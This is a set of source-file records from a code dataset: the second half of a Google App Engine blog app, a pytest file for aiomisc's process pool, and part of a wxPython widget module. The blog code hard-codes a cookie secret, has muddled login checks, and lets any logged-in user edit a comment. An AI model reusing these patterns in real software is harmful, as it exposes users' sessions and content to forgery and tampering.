self.response.out.write(*a, **kw)\n\n def render_tmp(self, template, **params):\n return render_str(template, **params)\n\n def render(self, template, **kw):\n if self.read_secure_cookie('usercookie'):\n\n user_id = self.read_secure_cookie('usercookie')\n\n key = db.Key.from_path('User',\n int(user_id),\n parent=user_key())\n\n user = db.get(key)\n login_status = \"Logged in as: %s \" % (user.username)\n nav = [('/', 'Home'),\n ('/newpost', 'Create New Post'),\n ('/logout', 'Log Out')]\n else:\n login_status = ''\n user_id = ''\n nav = [('/', 'Home'),\n ('/signup', 'Sign Up'),\n ('/login', 'Log In')]\n self.write(self.render_tmp(template, login_id=user_id,\n nav=nav, login_status=login_status, **kw))\n\n def set_secure_cookie(self, name, val, exp):\n cookie_val = self.make_secure_val(str(val))\n if exp and isinstance(exp, (int, long, float)):\n now = datetime.datetime.utcnow()\n expires = datetime.timedelta(seconds=exp)\n exp_date = (now + expires).strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n else:\n exp_date = ''\n self.response.headers.add_header(\n 'Set-Cookie',\n '%s=%s; expires=%s; Path=/' % (name, cookie_val, exp_date))\n\n def read_secure_cookie(self, cookie_name):\n if self.request.cookies.get(cookie_name):\n cookie_val = self.request.cookies.get(cookie_name)\n val = self.get_secure_val(cookie_val)\n return val\n else:\n return\n\n############### POST DB MODELS #################\n\nclass Post(db.Model):\n\n author_id = db.StringProperty(required=True)\n author_name = db.StringProperty(required=True)\n subject = db.StringProperty(required=True)\n content = db.TextProperty(required=True)\n created = db.DateTimeProperty(auto_now_add=True)\n modified = db.DateTimeProperty(auto_now=True)\n\n def post_likes(self, post_id):\n\n kinds = metadata.get_kinds()\n if u'PostLike' in kinds:\n likes = db.GqlQuery(\"SELECT * \"\n \"FROM PostLike \"\n \"WHERE ANCESTOR IS :1\",\n post_key(post_id)).count()\n else:\n likes = 0\n return likes\n\n def render_post(self, login_id, post_id):\n likes = self.post_likes(post_id)\n self._render_text = self.content.replace('\\n', '
    ')\n return render_str(\"post.html\", login_id=login_id,\n likes=likes, post=self)\n\n def post_like_dup(self, login_id, post_id):\n exists = like_dup('PostLike', login_id, post_id)\n return exists\n\n############# NEW POST HANDLER ###############\n\nclass NewPost(BlogHandler):\n\n def get(self):\n\n if self.read_secure_cookie('usercookie'):\n self.render(\"newpost.html\")\n else:\n self.redirect('/signup')\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n subject_input = self.request.get('subject')\n content_input = self.request.get('content')\n if self.read_secure_cookie('usercookie'):\n\n user_id = self.read_secure_cookie('usercookie')\n key = db.Key.from_path('User', int(user_id), parent=user_key())\n user = db.get(key)\n\n if subject_input and content_input and user_id:\n post = Post(parent=blog_key(),\n author_id=user_id,\n author_name=user.username,\n subject=subject_input,\n content=content_input)\n post.put()\n\n post_id = str(post.key().id())\n self.redirect('/post-%s' % post_id)\n else:\n input_error = \"Please submit both the title and content.\"\n self.render(\"newpost.html\", subject=subject_input,\n content=content_input,\n error=input_error)\n else:\n self.redirect('/signup')\n\n############### POST LINK HANDLER ###############\n\nclass PostLink(BlogHandler):\n\n def get(self, login_id):\n\n url_str = self.request.path\n post_id = url_str.rsplit('post-', 1)[1]\n key = post_key(post_id)\n post = db.get(key)\n\n kinds = metadata.get_kinds()\n\n if u'Comment' in kinds:\n comments = db.GqlQuery(\"SELECT * \"\n \"FROM Comment \"\n \"WHERE ANCESTOR IS :1\", key)\n else:\n comments = ''\n self.render(\"postlink.html\", post=post,\n comments=comments)\n\n def post(self, login_id):\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n edit_post_id = self.request.get('edit_post_id')\n edit_comment_id = self.request.get('edit_comment_id')\n comment_post_id = self.request.get('comment_post_id')\n like_post_id = self.request.get('like_post_id')\n if comment_post_id:\n post_id = comment_post_id\n self.redirect('/newcomment?post_id=' + post_id)\n if edit_post_id:\n post_id = edit_post_id\n self.redirect('/editpost?post_id=' + post_id)\n if edit_comment_id:\n url_str = self.request.path\n post_id = url_str.rsplit('post-', 1)[1]\n comment_id = edit_comment_id\n self.redirect('/editcomment?post_id=%s&comment_id=%s' %\n (post_id, comment_id))\n if like_post_id:\n post_id = like_post_id\n user_id = self.read_secure_cookie('usercookie')\n if not like_dup('PostLike', user_id, post_id):\n like = PostLike(like_user_id=user_id,\n parent=post_key(post_id))\n like.put()\n self.redirect('/post-%s' % post_id)\n else:\n self.redirect('/signup')\n\n############### EDIT POST HANDLER ###################\n\nclass EditPost(BlogHandler):\n\n def get(self):\n\n post_id = self.request.get('post_id')\n key = db.Key.from_path('Post',\n int(post_id),\n parent=blog_key())\n # gets the post data based upon what\n # is passed from post_id into key\n post = db.get(key)\n if self.read_secure_cookie('usercookie'):\n user_id = self.read_secure_cookie('usercookie')\n # If the current logged in user is not the post author\n # it redirects them back to the previous page\n if user_id == post.author_id:\n self.render(\"editpost.html\",\n subject=post.subject,\n content=post.content,\n post_id=post_id)\n else:\n referrer = self.request.headers.get('referer')\n if referrer:\n return self.redirect(referrer)\n return self.redirect_to('/')\n else:\n self.redirect('/signup')\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n post_id = self.request.get('post_id')\n subject_input = self.request.get('subject')\n content_input = self.request.get('content')\n post_key = db.Key.from_path('Post',\n int(post_id),\n parent=blog_key())\n post = db.get(post_key)\n if username == post.author_id:\n\n if subject_input and content_input:\n post = db.get(post_key)\n post.subject = subject_input\n post.content = content_input\n post.put()\n\n post_id = str(post.key().id())\n self.redirect('/post-%s' % post_id)\n else:\n input_error = \"Please submit both the title and content.\"\n self.render(\"editpost.html\", subject=subject_input,\n content=content_input,\n error=input_error, post_id=post_id)\n else:\n self.redirect('/signup')\n\n############### DELETE POST ###############\n\nclass DeletePost(BlogHandler):\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n post_id = self.request.get('post_id')\n key = db.Key.from_path('Post',\n int(post_id),\n parent=blog_key())\n post = db.get(key)\n if username == post.author_id:\n db.delete(key)\n self.render('/postdeleted.html')\n else:\n self.redirect('/signup')\n\n############### likes db Model ###################\n\nclass PostLike(db.Model):\n like_user_id = db.StringProperty(required=True)\n\n############### COMMENT DB MODELS #################\n\nclass Comment(db.Model):\n\n author_id = db.StringProperty(required=True)\n author_name = db.StringProperty(required=True)\n subject = db.StringProperty(required=True)\n content = db.TextProperty(required=True)\n created = db.DateTimeProperty(auto_now_add=True)\n modified = db.DateTimeProperty(auto_now=True)\n\n def render_comment(self, login_id):\n\n self._render_text = self.content.replace('\\n', '
    ')\n return render_str(\"comment.html\", login_id=login_id,\n comment=self)\n\n############### NEW COMMENT HANDLER ##############\n\nclass NewComment(BlogHandler):\n def get(self):\n\n if self.read_secure_cookie('usercookie'):\n post_id = self.request.get('post_id')\n self.render(\"newcomment.html\", post_id=post_id)\n else:\n self.redirect('/signup')\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n post_id = self.request.get('post_id')\n subject_input = self.request.get('subject')\n content_input = self.request.get('content')\n if self.read_secure_cookie('usercookie'):\n\n user_id = self.read_secure_cookie('usercookie')\n key = db.Key.from_path('User', int(user_id), parent=user_key())\n user = db.get(key)\n\n if subject_input and content_input and user_id:\n comment = Comment(parent=post_key(post_id),\n author_id=user_id,\n author_name=user.username,\n subject=subject_input,\n content=content_input)\n comment.put()\n\n comment_id = str(comment.key().id())\n self.redirect('/comment-%s?post_id=%s' % (comment_id, post_id))\n else:\n input_error = \"Please submit both the title and content.\"\n self.render(\"newcomment.html\", subject=subject_input,\n content=content_input,\n error=input_error,\n post_id=post_id)\n else:\n self.redirect('/signup')\n\n############## COMMENT LINK HANDLER ##############\n\nclass CommentLink(BlogHandler):\n\n def get(self, login_id):\n\n post_id = self.request.get('post_id')\n url_str = self.request.path\n comment_id = url_str.rsplit('comment-', 1)[1]\n comment_key = db.Key.from_path('Comment', int(comment_id),\n parent=post_key(post_id))\n comment = db.get(comment_key)\n\n self.render(\"commentlink.html\", comment=comment)\n\n def post(self, login_id):\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n comment_id = self.request.get('edit_comment_id')\n post_id = self.request.get('post_id')\n comment_key = db.Key.from_path('Comment', int(comment_id),\n parent=post_key(post_id))\n comment= db.get(comment_key)\n\n if self.read_secure_cookie('usercookie'):\n if username == comment.author_id:\n if comment_id and post_id:\n self.redirect('/editcomment?comment_id=%s&post_id=%s' %\n (comment_id, post_id))\n else:\n self.redirect('/signup')\n\n############### EDIT COMMENT HANDLER ################\n\nclass EditComment(BlogHandler):\n\n def get(self):\n\n comment_id = self.request.get('comment_id')\n post_id = self.request.get('post_id')\n key = db.Key.from_path('Comment',\n int(comment_id),\n parent=post_key(post_id))\n\n comment = db.get(key)\n if self.read_secure_cookie('usercookie'):\n user_id = self.read_secure_cookie('usercookie')\n\n if user_id == comment.author_id:\n self.render(\"editcomment.html\",\n subject=comment.subject,\n content=comment.content,\n post_id=post_id,\n comment_id=comment_id)\n else:\n referrer = self.request.headers.get('referer')\n if referrer:\n return self.redirect(referrer)\n return self.redirect_to('/')\n else:\n self.redirect('/signup')\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n post_id = self.request.get('post_id')\n comment_id = self.request.get('comment_id')\n subject_input = self.request.get('subject')\n content_input = self.request.get('content')\n comment_key = db.Key.from_path('Comment',\n int(comment_id),\n parent=post_key(post_id))\n\n if subject_input and content_input:\n comment = db.get(comment_key)\n comment.subject = subject_input\n comment.content = content_input\n comment.put()\n\n self.redirect('/comment-%s?post_id=%s' % (comment_id, post_id))\n else:\n input_error = \"Please submit both the title and the content.\"\n self.render(\"editcomment.html\", subject=subject_input,\n content=content_input, error=input_error,\n comment_id=comment_id, post_id=post_id)\n else:\n self.redirect('/signup')\n\n############## DELETE COMMENT ###############\n\nclass DeleteComment(BlogHandler):\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n comment_id = self.request.get('comment_id')\n post_id = self.request.get('post_id')\n key = db.Key.from_path('Comment',\n int(comment_id),\n parent=post_key(post_id))\n comment = db.get(key)\n if username == comment.author_id:\n db.delete(key)\n self.render('/commentdeleted.html')\n else:\n self.redirect('/signup')\n\n############### USER DB MODELS #################\n\nclass User(db.Model):\n\n username = db.StringProperty(required=True)\n pass_hash = db.StringProperty(required=True)\n email = db.StringProperty()\n\n############### NEW USER HANDLER SIGN UP ###############\nCOOKIE_SECRET = \"ASLDGKANDFKJAZNHARLFKASDLF\"\n\nEMAIL_RE = re.compile(r\"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)\")\nUSER_RE = re.compile(r\"^[a-zA-Z0-9_-]{3,20}$\")\nPASS_RE = re.compile(r\"^.{3,20}$\")\n\nclass UserSignUp(BlogHandler):\n\n def valid_username(self, username):\n return username and USER_RE.match(username)\n\n def user_exists(self, username):\n\n username_exists = db.GqlQuery(\"SELECT * \"\n \"FROM User \"\n \"WHERE username = :usernm\",\n usernm=username).get()\n return username_exists\n\n def valid_password(self, password):\n return password and PASS_RE.match(password)\n\n def valid_email(self, email):\n return not email or EMAIL_RE.match(email)\n\n def get(self):\n self.render(\"signup.html\")\n\n def post(self):\n\n have_error = False\n username = self.request.get('username')\n password = self.request.get('password')\n verify = self.request.get('verify')\n email = self.request.get('email')\n\n params = dict(username=username, email=email)\n\n if self.user_exists(username):\n params['error_username_exists'] = 'User already Exists'\n have_error = True\n elif not self.valid_username(username):\n params['error_username'] = \"that's not a valid User ID\"\n have_error = True\n\n if not self.valid_password(password):\n params['error_password'] = \"that's not a valid Password\"\n have_error = True\n elif password != verify:\n params['error_verify'] = 'The Passwords do not Match'\n have_error = True\n\n if not self.valid_email(email):\n params['error_email'] = \"That's not a valid Email\"\n have_error = True\n\n if have_error:\n self.render(\"signup.html\", **params)\n else:\n hashed_pass = self.hash_pass(username, password)\n user = User(parent=user_key(),\n username=username,\n pass_hash=hashed_pass,\n email=email)\n user.put()\n user_id = str(user.key().id())\n self.set_secure_cookie('usercookie', user_id, None)\n self.redirect('/welcome')\n\n################ USER LOGIN HANDLER ################\n\nclass UserLogin(BlogHandler):\n\n def get(self):\n self.render(\"login.html\")\n\n def post(self):\n auth_error = True\n username = self.request.get('username')\n password = self.request.get('password')\n\n params = dict(username=username)\n\n if self.user_exists(username):\n auth_error = False\n\n if self.user_auth(username, password):\n auth_error = False\n else:\n auth_error = True\n params['error_password'] = 'Invalid Password'\n else:\n auth_error = True\n params['error_username'] = 'User Does Not Exist'\n\n if auth_error:\n self.render(\"login.html\", **params)\n else:\n user = db.GqlQuery(\"SELECT * \"\n \"FROM User \"\n \"WHERE username = :usernm\",\n usernm=username).get()\n user_id = str(user.key().id())\n self.set_secure_cookie('usercookie', user_id, None)\n self.redirect('/welcome')\n\n################# USERS LOGOUT ######################\n\nclass UserLogout(BlogHandler):\n\n def get(self):\n self.set_secure_cookie('usercookie', '', -1)\n self.redirect('/signup')\n\n################# MAIN PAGE ####################\n\nclass Blog(BlogHandler):\n\n def get(self):\n\n posts = db.GqlQuery(\"SELECT * \"\n \"FROM Post \"\n \"ORDER BY created DESC LIMIT 10\")\n self.render(\"front.html\", posts=posts)\n\n def post(self):\n\n auth_error = True\n if self.read_secure_cookie('usercookie'):\n auth_error = False\n else:\n auth_error = True\n username = self.read_secure_cookie('usercookie')\n if not self.user_exists(username):\n auth_error = False\n else:\n auth_error = True\n\n if not auth_error:\n edit_post_id = self.request.get('edit_post_id')\n comment_post_id = self.request.get('comment_post_id')\n like_post_id = self.request.get('like_post_id')\n if comment_post_id:\n post_id = comment_post_id\n self.redirect('/newcomment?post_id=' + post_id)\n if edit_post_id:\n post_id = edit_post_id\n self.redirect('/editpost?post_id=' + post_id)\n if like_post_id:\n post_id = like_post_id\n user_id = self.read_secure_cookie('usercookie')\n if not like_dup('PostLike', user_id, post_id):\n like = PostLike(like_user_id=user_id,\n parent=post_key(post_id))\n like.put()\n self.redirect('/')\n else:\n self.redirect('/signup')\n\nclass Welcome(BlogHandler):\n def get(self):\n if self.read_secure_cookie('usercookie'):\n user_id = self.read_secure_cookie('usercookie')\n key = db.Key.from_path('User',\n int(user_id),\n parent=user_key())\n\n user = db.get(key)\n\n self.render(\"welcome.html\",\n username=user.username)\n else:\n self.redirect('/signup')\n\napp = webapp2.WSGIApplication([('/?', Blog),\n ('/post-([0-9]+)', PostLink),\n ('/comment-([0-9]+)', CommentLink),\n ('/newpost', NewPost),\n ('/newcomment', NewComment),\n ('/signup', UserSignUp),\n ('/editpost', EditPost),\n ('/editcomment', EditComment),\n ('/login', UserLogin),\n ('/logout', UserLogout),\n ('/deletepost', DeletePost),\n ('/deletecomment', DeleteComment),\n ('/welcome', Welcome)\n ], debug=True)\n","sub_path":"blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":27611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"228072609","text":"import asyncio\nimport os\nimport signal\nfrom time import sleep, time\n\nimport pytest\n\nimport aiomisc\nfrom aiomisc.process_pool import ProcessPoolExecutor\n\n\n@pytest.fixture\ndef pool():\n pool = ProcessPoolExecutor(4)\n try:\n yield pool\n finally:\n pool.shutdown(True)\n\n\n@aiomisc.timeout(10)\nasync def test_simple(pool, loop, timer):\n current_time = await loop.run_in_executor(pool, time)\n assert current_time > 0\n\n with timer(1):\n await asyncio.wait_for(\n asyncio.gather(\n *[\n loop.run_in_executor(pool, sleep, 1) for _ in range(4)\n ]\n ), timeout=2,\n )\n\n\n@aiomisc.timeout(10)\nasync def test_exception(pool, loop):\n with pytest.raises(ZeroDivisionError):\n await loop.run_in_executor(pool, divmod, 1, 0)\n\n\ndef suicide():\n os.kill(os.getpid(), signal.SIGINT)\n\n\n@pytest.mark.skip(reason=\"Stuck tests in GH actions\")\n@aiomisc.timeout(10)\nasync def test_exit(pool, loop):\n with pytest.raises(asyncio.TimeoutError):\n await asyncio.wait_for(\n asyncio.gather(\n *[loop.run_in_executor(pool, suicide) for _ in range(4)]\n ), timeout=2,\n )\n","sub_path":"tests/test_process_pool.py","file_name":"test_process_pool.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"220488840","text":"# -*- coding: utf8 -*-\n\n\"\"\"Quickreport\n\nI widget che corrispondono ai vari tipi di parametri possibili. \nQuando in .params.py si specifica un tipo per un parametro, cio' che \nviene visualizzato nella gui e' il widget corrispondente qui definito.\n\n==========================================\n:version: vedi quickreport.__version.py__\n:copyright: Riccardo Polignieri 2012\n:license: ISC\n\"\"\"\n\nimport wx\nimport wx.lib.masked as masked\nimport datetime\n\nfrom gui_utils import post_evt_param_changed, EVT_PARAM_CHANGED\n\n__all__ = ['text', 'integer', 'boolean', \n 'symple_list', 'droplist', \n 'currency',\n 'date', 'period', \n 'month', 'bimester', 'trimester', 'quadrimester', 'semester']\n\n\n# 'text' type input parameter =================================================\nclass TextWidget(wx.TextCtrl):\n def __init__(self, *a, **k):\n use_evt_char = k.pop('track_changes', False)\n wx.TextCtrl.__init__(self, *a, **k)\n self._val = ''\n evt = wx.EVT_CHAR if use_evt_char else wx.EVT_KILL_FOCUS\n self.Bind(evt, self.on_change)\n \n def on_change(self, evt):\n evt.Skip()\n val = self.GetValue() \n if val != self._val:\n self._val = val\n post_evt_param_changed(evt)\n \n def SetValue (self, val):\n self._val = val\n wx.TextCtrl.SetValue(self, val)\n \n def SetBounds(self, val): pass\n \ndef text(parent, track_changes=False): \n return TextWidget(parent, track_changes=track_changes)\n \n \n# 'integer' type input parameter ===============================================\nclass IntegerWidget(wx.SpinCtrl):\n def __init__(self, *a, **k):\n wx.SpinCtrl.__init__(self, *a, **k)\n self.Bind(wx.EVT_SPIN, post_evt_param_changed)\n \n def SetBounds(self, bounds): return wx.SpinCtrl.SetRange(self, *bounds)\n\ndef integer(parent): return IntegerWidget(parent)\n\n\n# 'boolean' type input parameter ===============================================\nclass BooleanWidget(wx.CheckBox):\n def __init__(self, *a, **k):\n wx.CheckBox.__init__(self, *a, **k)\n self.Bind(wx.EVT_CHECKBOX, post_evt_param_changed)\n \n def SetBounds(self, val): pass\n \ndef boolean(parent): return BooleanWidget(parent)\n\n\n# 'symple_list' type input parameter ===========================================\nclass SimpleListWidget(wx.ListBox):\n def __init__(self, *a, **k):\n self.multichoice = k.pop('multichoice')\n self.select_all = k.pop('select_all', '')\n if self.multichoice:\n k['style'] = wx.LB_EXTENDED\n else:\n self.select_all = '' # just in case of user's mistake\n wx.ListBox.__init__(self, *a, **k)\n funct = self.on_select if self.select_all else post_evt_param_changed\n self.Bind(wx.EVT_LISTBOX, funct)\n self._all_selected = False\n \n def on_select(self, evt): # used only in case of self.select_all\n if evt.GetSelection() == 0:\n for i in self.GetItems():\n self.SetStringSelection(i, (not self._all_selected))\n self._all_selected = not self._all_selected\n post_evt_param_changed(evt)\n \n def SetBounds(self, bounds):\n if self.select_all: \n bounds = [self.select_all] + list(bounds)\n self.SetItems(bounds)\n \n def SetValue(self, val):\n if val is None: \n self.SetSelection(-1)\n return\n if self.multichoice:\n strings = self.GetStrings()\n if val == 'all':\n val = strings\n elif val == 'none':\n val = []\n for v in strings:\n self.SetStringSelection(v, (v in val))\n else:\n self.SetStringSelection(val)\n \n def GetValue(self):\n if self.multichoice:\n if self.select_all: self.SetSelection(0, False)\n return [self.GetString(i) for i in self.GetSelections()]\n else:\n return self.GetStringSelection()\n\nclass TwoFieldsListWidget(wx.ListBox):\n def __init__(self, *a, **k):\n self.multichoice = k.pop('multichoice')\n self.select_all = k.pop('select_all', '')\n if self.multichoice:\n k['style'] = wx.LB_EXTENDED\n else:\n self.select_all = '' # just in case of user's mistake\n wx.ListBox.__init__(self, *a, **k)\n self.ids = []\n self._all_selected = False\n funct = self.on_select if self.select_all else post_evt_param_changed\n self.Bind(wx.EVT_LISTBOX, funct)\n \n def on_select(self, evt): # used only in case of self.select_all\n if evt.GetSelection() == 0:\n for i in self.GetItems():\n self.SetStringSelection(i, (not self._all_selected))\n self._all_selected = not self._all_selected\n post_evt_param_changed(evt)\n \n def SetBounds(self, bounds):\n if self.select_all: \n bounds = [[None, self.select_all]] + list(bounds)\n self.ids, items = zip(*bounds)\n self.SetItems(items)\n \n def SetValue(self, val):\n if not val: \n self.SetSelection(-1)\n return\n if self.multichoice:\n if val == 'all':\n val = self.ids\n elif val == 'none':\n val = []\n for n, v in enumerate(self.ids):\n self.SetSelection(n, (v in val))\n else:\n self.SetSelection(self.ids.index(val))\n \n def GetValue(self):\n if self.multichoice:\n if self.select_all: self.SetSelection(0, False)\n return [self.ids[i] for i in self.GetSelections()]\n else:\n return self.ids[self.GetSelection()]\n\nclass MultiChoiceListWidget(wx.CheckListBox):\n def __init__(self, *a, **k):\n self.use_id = k.pop('use_id')\n self.select_all = k.pop('select_all', '')\n wx.CheckListBox.__init__(self, *a, **k)\n if self.use_id:\n self.ids = []\n self.Bind(wx.EVT_CHECKLISTBOX, self._on_check)\n\n def _on_check(self, evt):\n item = evt.GetSelection()\n if self.select_all and (item == 0):\n check = self.IsChecked(0)\n for n, i in enumerate(self.GetItems()[1:]):\n self.Check(n+1, check)\n self.SetSelection(item)\n post_evt_param_changed(evt)\n \n def SetBounds(self, bounds):\n if self.use_id:\n if self.select_all:\n bounds = [[None, self.select_all]] + list(bounds)\n self.ids, items = zip(*bounds)\n self.SetItems(items)\n else:\n if self.select_all: \n bounds = [self.select_all] + list(bounds)\n self.SetItems(bounds)\n \n def SetValue(self, val):\n if not val: \n self.SetSelection(-1)\n return\n elif val == 'none':\n val = []\n if self.use_id:\n if val == 'all':\n val = self.ids\n for n, v in enumerate(self.ids):\n self.Check(n, (v in val))\n else:\n strings = self.GetStrings()\n if val == 'all':\n val = strings\n for n, v in enumerate(strings):\n self.Check(n, (v in val))\n \n def GetValue(self):\n if self.use_id:\n return [n+1 for n, i in enumerate(self.ids[1:]) if self.IsChecked(i)]\n else:\n res = list(self.GetCheckedStrings())\n try: res.remove(self.select_all)\n except ValueError: pass\n return res\n \ndef symple_list(parent, use_id=False, multichoice=False, select_all=False): \n if multichoice and wx.PlatformInfo[1] in ('wxMSW', 'wxGTK'):\n return MultiChoiceListWidget(parent, use_id=use_id, select_all=select_all)\n if use_id:\n return TwoFieldsListWidget(parent, multichoice=multichoice, select_all=select_all)\n else:\n return SimpleListWidget(parent, multichoice=multichoice, select_all=select_all)\n \n\n# 'droplist' type input parameter ==============================================\nclass DropDownListWidget(wx.ComboBox):\n def __init__(self, *a, **k):\n k['style'] = wx.CB_DROPDOWN|wx.CB_READONLY\n wx.ComboBox.__init__(self, *a, **k)\n self.Bind(wx.EVT_COMBOBOX, post_evt_param_changed)\n \n SetBounds = wx.ComboBox.SetItems\n \nclass TwoFieldsDropDownWidget(wx.ComboBox):\n def __init__(self, *a, **k):\n k['style'] = wx.CB_DROPDOWN|wx.CB_READONLY\n wx.ComboBox.__init__(self, *a, **k)\n self.ids = []\n self.Bind(wx.EVT_COMBOBOX, post_evt_param_changed)\n \n def SetBounds(self, bounds):\n self.ids = []\n self.Clear()\n for i in bounds:\n self.ids.append(i[0])\n self.Append(i[1])\n \n def SetValue(self, val):\n if val is None: \n wx.ComboBox.SetSelection(self, -1)\n return\n wx.ComboBox.SetSelection(self, self.ids.index(val))\n \n def GetValue(self):\n return self.ids[self.GetSelection()]\n\ndef droplist(parent, use_id=False): \n if use_id: return TwoFieldsDropDownWidget(parent)\n else: return DropDownListWidget(parent)\n\n\n# 'currency' type input parameter ==============================================\nEURO_CONVENTIONS = { # note: actually, conventions for euro adopted in _Italy_!\n 'mon_decimal_point': ',', 'int_frac_digits': 2, 'p_sep_by_space': 1, \n 'frac_digits': 2, 'thousands_sep': '.', 'n_sign_posn': 3, 'decimal_point': ',', \n 'int_curr_symbol': 'EUR', 'n_cs_precedes': 1, 'p_sign_posn': 3, \n 'mon_thousands_sep': '.', 'negative_sign': '-', 'currency_symbol': '\\x80', \n 'n_sep_by_space': 1, 'mon_grouping': [3, 0], 'p_cs_precedes': 1, \n 'positive_sign': '', 'grouping': [3, 0]}\nDOLLAR_CONVENTIONS = { # conventions for usd adopted in USA\n 'mon_decimal_point': '.', 'int_frac_digits': 2, 'p_sep_by_space': 0, \n 'frac_digits': 2, 'thousands_sep': ',', 'n_sign_posn': 0, 'decimal_point': '.', \n 'int_curr_symbol': 'USD', 'n_cs_precedes': 1, 'p_sign_posn': 3, \n 'mon_thousands_sep': ',', 'negative_sign': '-', 'currency_symbol': '$', \n 'n_sep_by_space': 0, 'mon_grouping': [3, 0], 'p_cs_precedes': 1, \n 'positive_sign': '', 'grouping': [3, 0]}\nPOUND_CONVENTIONS = { # conventions for pounds adopted in GB\n 'mon_decimal_point': '.', 'int_frac_digits': 2, 'p_sep_by_space': 0, \n 'frac_digits': 2, 'thousands_sep': ',', 'n_sign_posn': 3, 'decimal_point': '.', \n 'int_curr_symbol': 'GBP', 'n_cs_precedes': 1, 'p_sign_posn': 3, \n 'mon_thousands_sep': ',', 'negative_sign': '-', 'currency_symbol': '\\xa3', \n 'n_sep_by_space': 0, 'mon_grouping': [3, 0], 'p_cs_precedes': 1, \n 'positive_sign': '', 'grouping': [3, 0]}\n\nclass CurrencyWidget(wx.Panel):\n def __init__(self, *a, **k):\n use_decimal = k.pop('use_decimal')\n conv = k.pop('conventions')\n if conv == 'euro' : conv = EURO_CONVENTIONS\n elif conv == 'dollar': conv = DOLLAR_CONVENTIONS\n elif conv == 'pound' : conv = POUND_CONVENTIONS\n wx.Panel.__init__(self, *a, **k)\n \n self.currency = masked.NumCtrl(self, limited=True,\n fractionWidth = (conv['frac_digits'] if use_decimal else 0),\n groupDigits = (conv['mon_grouping'][0]>0),\n groupChar = conv['thousands_sep'],\n decimalChar = conv['decimal_point'],\n useParensForNegatives = (conv['n_sign_posn']==0))\n self.currency.Bind(masked.EVT_NUM, post_evt_param_changed)\n \n s = wx.BoxSizer()\n s.Add(wx.StaticText(self, -1, conv['currency_symbol']), 0, \n wx.ALIGN_CENTER_VERTICAL, 0)\n s.Add(self.currency, 1, wx.EXPAND|wx.ALL, 5)\n self.SetSizer(s)\n \n def SetBounds(self, bounds):\n # TODO disconnect event \n self.currency.SetMin(bound[0])\n self.currency.SetMax(bounds[1])\n \n def SetValue(self, val):\n # TODO disconnect event\n self.currency.SetValue(val)\n \n def GetValue(self): \n return self.currency.GetValue()\n \ndef currency(parent, conventions='euro', use_decimal=True):\n return CurrencyWidget(parent, conventions=conventions, use_decimal=use_decimal)\n\n\n# 'date' type input parameter ==================================================\nclass DateWidget(wx.DatePickerCtrl):\n def __init__(self, *a, **k):\n wx.DatePickerCtrl.__init__(self, *a, **k)\n self._min = None\n self._max = None\n self.Bind(wx.EVT_DATE_CHANGED, self.on_changed)\n\n def on_changed(self, evt):\n if (self._min is not None) and (self.GetValue() < self._min): \n self.SetValue(self._min)\n elif (self._max is not None) and (self.GetValue() > self._max): \n self.SetValue(self._max)\n# post_evt_param_changed(evt)\n \n def SetBounds(self, bounds):\n if bounds is None: return \n self._min, self._max = bounds\n self.on_changed(None)\n \n def GetValue(self):\n y, m, d = map(int, \n wx.DatePickerCtrl.GetValue(self).FormatISODate().split('-'))\n return datetime.date(y, m, d)\n \n def SetValue(self, v):\n tt = v.timetuple()\n dmy = (tt[2], tt[1]-1, tt[0])\n wx.DatePickerCtrl.SetValue(self, wx.DateTimeFromDMY(*dmy))\n \ndef date(parent): return DateWidget(parent, style=wx.DP_DROPDOWN|wx.DP_SHOWCENTURY)\n\n\n# 'period' type input parameter ================================================\nclass PeriodWidget(wx.Panel):\n def __init__(self, *a, **k):\n wx.Panel.__init__(self, *a, **k)\n self.period_from = DateWidget(self, style=wx.DP_DROPDOWN|wx.DP_SHOWCENTURY)\n self.period_to = DateWidget(self, style=wx.DP_DROPDOWN|wx.DP_SHOWCENTURY)\n s = wx.FlexGridSizer(2, 2, 5, 5)\n s.AddGrowableCol(1)\n s.Add(wx.StaticText(self, -1, 'from'), 0, wx.ALIGN_CENTER_VERTICAL)\n s.Add(self.period_from, 1, wx.EXPAND|wx.ALL, 5)\n s.Add(wx.StaticText(self, -1, 'to'), 0, wx.ALIGN_CENTER_VERTICAL)\n s.Add(self.period_to, 1, wx.EXPAND|wx.ALL, 5)\n 